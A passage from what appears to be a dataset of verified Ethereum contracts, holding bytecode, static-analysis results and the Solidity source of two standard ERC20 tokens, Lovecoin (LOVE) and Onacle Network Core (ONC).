6e74206578636565647320616c6c6f77616e6365a2646970667358221220fe96a940cf421361d827c2e285d020ab85a70dacc9e71af70cc22b5b999aedaa64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,616 |
0x607f598b0bce35cd1dde70c9997d50e03a38ac72
|
/**
*Submitted for verification at Etherscan.io on 2021-02-14
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Lovecoin Token' token contract
//
// Symbol : LOVE
// Name : Lovecoin Token
// Total supply: 500 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract LOVE is BurnableToken {
string public constant name = "Lovecoin Token";
string public constant symbol = "LOVE";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 500000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600e81526020017f4c6f7665636f696e20546f6b656e00000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64746a5288000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4c4f56450000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220d146bb73de5fa34ebbf9d3bb9e5e9670cead5f447889b5a64c8039b32e0fed1b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,617 |
0xf14704192fb9d589a246a987c81eabc135b7debd
|
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract OnacleToken is CappedToken {
string public name = "Onacle Network Core";
string public symbol = "ONC";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public initialSupply = 6 * (10**8) * decimalFactor; // 600k
uint256 public maxSupply = 1 * (10**9) * decimalFactor; // 1B
constructor()
public
CappedToken(maxSupply)
{
totalSupply_ = initialSupply;
balances[msg.sender] = initialSupply;
emit Mint(msg.sender, initialSupply);
emit Transfer(address(0), msg.sender, initialSupply);
}
/**
* @dev Function to mint tokens. Only part of amount would be minted
* if amount exceeds cap
*
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mintFull(address _to, uint256 _amount)
onlyOwner
canMint
public
returns (bool)
{
require(totalSupply_ < cap);
uint256 amountToMint;
if (totalSupply_.add(_amount) >= cap) {
amountToMint = cap.sub(totalSupply_);
} else {
amountToMint = _amount;
}
return MintableToken.mint(_to, amountToMint);
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided uniform amount
* @param _addresses List of addresses
* @param _amount Uniform amount of tokens
* @return A bool specifying the result of transfer
*/
function multiTransfer(address[] _addresses, uint256 _amount) public returns (bool) {
uint256 totalAmount = _amount.mul(_addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint j = 0; j < _addresses.length; j++) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_addresses[j]] = balances[_addresses[j]].add(_amount);
emit Transfer(msg.sender, _addresses[j], _amount);
}
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided various amount
* @param _addresses list of addresses
* @param _amounts list of token amounts
*/
function multiTransfer(address[] _addresses, uint256[] _amounts) public returns (bool) {
uint256 totalAmount = 0;
for(uint j = 0; j < _addresses.length; j++){
totalAmount = totalAmount.add(_amounts[j]);
}
require(balances[msg.sender] >= totalAmount);
for (j = 0; j < _addresses.length; j++) {
balances[msg.sender] = balances[msg.sender].sub(_amounts[j]);
balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]);
emit Transfer(msg.sender, _addresses[j], _amounts[j]);
}
return true;
}
}
|
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461014257806306fdde031461016b578063095ea7b3146101f557806318160ddd146102195780631e89d5451461024057806323b872dd146102ce578063313ce567146102f85780633245a55f14610323578063355274ea14610347578063378dc3dc1461035c57806340c10f191461037157806366188463146103955780636d6a6a4d146103b957806370a08231146103ce578063715018a6146103ef5780637d64bcb4146104065780638da5cb5b1461041b57806395d89b411461044c578063a16a317914610461578063a9059cbb146104b8578063d5abeb01146104dc578063d73dd623146104f1578063dd62ed3e14610515578063f2fde38b1461053c575b600080fd5b34801561014e57600080fd5b5061015761055d565b604080519115158252519081900360200190f35b34801561017757600080fd5b5061018061056d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020157600080fd5b50610157600160a060020a03600435166024356105fb565b34801561022557600080fd5b5061022e610662565b60408051918252519081900360200190f35b34801561024c57600080fd5b506040805160206004803580820135838102808601850190965280855261015795369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506106689650505050505050565b3480156102da57600080fd5b50610157600160a060020a0360043581169060243516604435610823565b34801561030457600080fd5b5061030d610988565b6040805160ff9092168252519081900360200190f35b34801561032f57600080fd5b50610157600160a060020a036004351660243561098d565b34801561035357600080fd5b5061022e610a1c565b34801561036857600080fd5b5061022e610a22565b34801561037d57600080fd5b50610157600160a060020a0360043516602435610a28565b3480156103a157600080fd5b50610157600160a060020a0360043516602435610a5e565b3480156103c557600080fd5b5061022e610b4e565b3480156103da57600080fd5b5061022e600160a060020a0360043516610b5a565b3480156103fb57600080fd5b50610404610b75565b005b34801561041257600080fd5b50610157610be3565b34801561042757600080fd5b50610430610c67565b60408051600160a060020a039092168252519081900360200190f35b34801561045857600080fd5b50610180610c76565b34801561046d57600080fd5b5060408051602060048035808201358381028086018501909652808552610157953695939460249493850192918291850190849080828437509497505093359450610cd19350505050565b3480156104c457600080fd5b50610157600160a060020a0360043516602435610deb565b3480156104e857600080fd5b5061022e610eba565b3480156104fd57600080fd5b50610157600160a060020a0360043516602435610ec0565b34801561052157600080fd5b5061022e600160a060020a0360043581169060243516610f59565b34801561054857600080fd5b50610404600160a060020a0360043516610f84565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105f35780601f106105c8576101008083540402835291602001916105f3565b820191906000526020600020905b8154815290600101906020018083116105d657829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60015490565b600080805b84518110156106a85761069e848281518110151561068757fe5b60209081029091010151839063ffffffff610fa716565b915060010161066d565b336000908152602081905260409020548211156106c457600080fd5b5060005b84518110156108185761070984828151811015156106e257fe5b6020908102909101810151336000908152918290526040909120549063ffffffff610fb416565b3360009081526020819052604090205583516107759085908390811061072b57fe5b90602001906020020151600080888581518110151561074657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610fa716565b600080878481518110151561078657fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106107b757fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061116683398151915286848151811015156107f157fe5b906020019060200201516040518082815260200191505060405180910390a36001016106c8565b506001949350505050565b6000600160a060020a038316151561083a57600080fd5b600160a060020a03841660009081526020819052604090205482111561085f57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561088f57600080fd5b600160a060020a0384166000908152602081905260409020546108b8908363ffffffff610fb416565b600160a060020a0380861660009081526020819052604080822093909355908516815220546108ed908363ffffffff610fa716565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461092f908363ffffffff610fb416565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909